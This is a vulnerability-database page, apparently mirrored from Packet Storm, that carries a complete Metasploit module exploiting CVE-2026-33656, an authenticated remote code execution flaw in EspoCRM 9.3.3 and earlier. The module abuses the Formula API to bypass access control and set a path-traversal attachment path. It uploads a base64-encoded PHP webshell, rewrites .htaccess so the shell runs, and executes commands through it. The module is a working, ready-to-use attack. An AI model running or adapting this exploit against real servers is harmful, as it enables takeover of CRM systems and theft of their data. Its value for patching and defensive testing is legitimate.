Lucene search
+L

📄 EspoCRM 9.3.3 Remote Code Execution

🗓️ 17 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 132 Views

EspoCRM authenticated RCE up to 9.3.3 via formula bypass, attachment abuse, path traversal, and webshell.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-33656
22 Apr 202620:01
attackerkb
circl
Circl
CVE-2026-33656
25 Mar 202612:58
circl
cnnvd
CNNVD
EspoCRM 路径遍历漏洞
22 Apr 202600:00
cnnvd
cve
CVE
CVE-2026-33656
22 Apr 202620:01
cve
cvelist
Cvelist
CVE-2026-33656 EspoCRM vulnerable to authenticated RCE via Formula with path traversal in attachment `sourceId`, exploitable by admin user
22 Apr 202620:01
cvelist
euvd
EUVD
EUVD-2026-25081
22 Apr 202620:01
euvd
nvd
NVD
CVE-2026-33656
22 Apr 202621:17
nvd
packetstorm
Packet Storm
📄 EspoCRM 9.3.3 Remote Code Execution / Path Traversal
25 Mar 202600:00
packetstorm
ptsecurity
Positive Technologies
PT-2026-27774
25 Mar 202600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2026-33656
5 Jun 202619:17
redhatcve
Rows per page
==================================================================================================================================
    | # Title     : EspoCRM ≤ 9.3.3 Authenticated RCE Exploit via Formula ACL Bypass and Attachment Abuse                            |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.espocrm.com/download/upgrades/                                                                       |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit module targets an authenticated Remote Code Execution (RCE) vulnerability in EspoCRM versions up to 9.3.3.
    
    [+] The exploit chain works as follows:
    
    Authenticates to the EspoCRM API using provided credentials.
    Creates a malicious attachment entry via the Attachment API.
    Abuses a Formula Engine endpoint to bypass ACL restrictions.
    Uses the formula execution to manipulate internal attachment paths (path traversal).
    Uploads a PHP webshell payload through chunked attachment upload.
    Poisones a .htaccess file to enable execution of PHP code in a restricted directory.
    Triggers the uploaded webshell via an HTTP request with a command parameter (whoami as proof of execution).
    
    
    [+] POC   :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'EspoCRM <= 9.3.3 Authenticated RCE via Formula ACL Bypass',
            'Description' => %q{
              Authenticated RCE in EspoCRM via formula ACL bypass + attachment abuse.
            },
            'Author' => [
              'indoushka'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              [ 'URL', 'https://jivasecurity.com/writeups/espocrm-rce' ],
              [ 'CVE', '2026-33656' ]
            ],
            'Platform' => ['php'],
            'Arch' => [ARCH_PHP],
            'Targets' => [
              [ 'EspoCRM <= 9.3.3', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2026-01-01'
          )
        )
    
        register_options(
          [
            Opt::RPORT(80),
            OptString.new('TARGETURI', [true, 'Base path', '/']),
            OptString.new('USERNAME', [true, 'Username', 'admin']),
            OptString.new('PASSWORD', [true, 'Password', 'admin'])
          ]
        )
      end
    
      def auth_headers
        creds = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
        token = Rex::Text.encode_base64(creds)
    
        {
          'Espo-Authorization' => token
        }
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/App/user'),
          'headers' => auth_headers
        )
    
        return Exploit::CheckCode::Detected if res && res.code == 200
        Exploit::CheckCode::Safe
      end
    
      def create_attachment(name, content_type, size)
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/Attachment'),
          'headers' => auth_headers.merge({
            'Content-Type' => 'application/json'
          }),
          'data' => {
            'name' => name,
            'type' => content_type,
            'role' => 'Attachment',
            'relatedType' => 'Document',
            'field' => 'file',
            'isBeingUploaded' => true,
            'size' => size
          }.to_json
        )
    
        return nil unless res && res.code == 200
        res.get_json_document&.dig('id')
      end
    
      def run_formula(attachment_id, source_path)
        expr = "record\\update(\"Attachment\",\"#{attachment_id}\",\"sourceId\",\"#{source_path}\")"
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/Formula/action/run'),
          'headers' => auth_headers.merge({
            'Content-Type' => 'application/json'
          }),
          'data' => {
            'expression' => expr,
            'targetType' => nil,
            'targetId' => nil
          }.to_json
        )
    
        return false unless res && res.code == 200
    
        json = res.get_json_document rescue nil
        json && json['isSuccess'] == true
      end
    
      def upload_chunk(attachment_id, payload_base64)
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, "api/v1/Attachment/chunk/#{attachment_id}"),
          'headers' => auth_headers.merge({
            'Content-Type' => 'application/octet-stream'
          }),
          'data' => "data:application/octet-stream;base64,#{payload_base64}"
        )
      end
    
      def exploit
        print_status("Creating attachment...")
        shell_id = create_attachment('shell.txt', 'text/plain', 0)
        fail_with(Failure::UnexpectedReply, "Attachment failed") unless shell_id
    
        print_good("Attachment ID: #{shell_id}")
    
        print_status("Bypassing ACL via formula...")
        fail_with(Failure::UnexpectedReply, "Formula failed") unless run_formula(shell_id, '../../client/x')
    
        print_good("Path traversal set")
    
        print_status("Uploading PHP payload...")
        php_payload = "PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg=="
        upload_chunk(shell_id, php_payload)
    
        print_good("Webshell written")
    
        print_status("Creating .htaccess entry...")
        ht_id = create_attachment('ht.txt', 'text/plain', 0)
        fail_with(Failure::UnexpectedReply, "HT creation failed") unless ht_id
    
        fail_with(Failure::UnexpectedReply, "HT formula failed") unless run_formula(ht_id, '../../.htaccess')
    
        ht_payload = "CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4="
        upload_chunk(ht_id, ht_payload)
    
        print_good(".htaccess poisoned")
    
        webshell = normalize_uri(target_uri.path, 'client/x')
    
        print_status("Executing: #{webshell}")
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => webshell,
          'vars_get' => {
            'c' => 'whoami'
          }
        )
    
        if res && res.code == 200
          print_good("Execution success")
          print_line(res.body.to_s) if res.body
        else
          fail_with(Failure::UnexpectedReply, "Execution failed")
        end
      end
    end
    
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Apr 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.1
EPSS0.005
SSVC
132